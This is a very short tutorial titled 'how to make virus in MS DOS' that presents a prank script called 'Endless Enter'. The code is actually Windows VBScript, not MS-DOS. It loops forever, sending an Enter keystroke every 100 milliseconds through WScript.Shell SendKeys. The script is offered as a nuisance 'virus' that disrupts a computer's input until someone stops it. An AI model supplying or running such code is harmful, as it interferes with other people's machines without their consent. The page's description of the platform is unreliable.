how to make virus in MS DOS

Endless Enter

This constantly makes it so the enter button is being pressed continously

CODE..

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop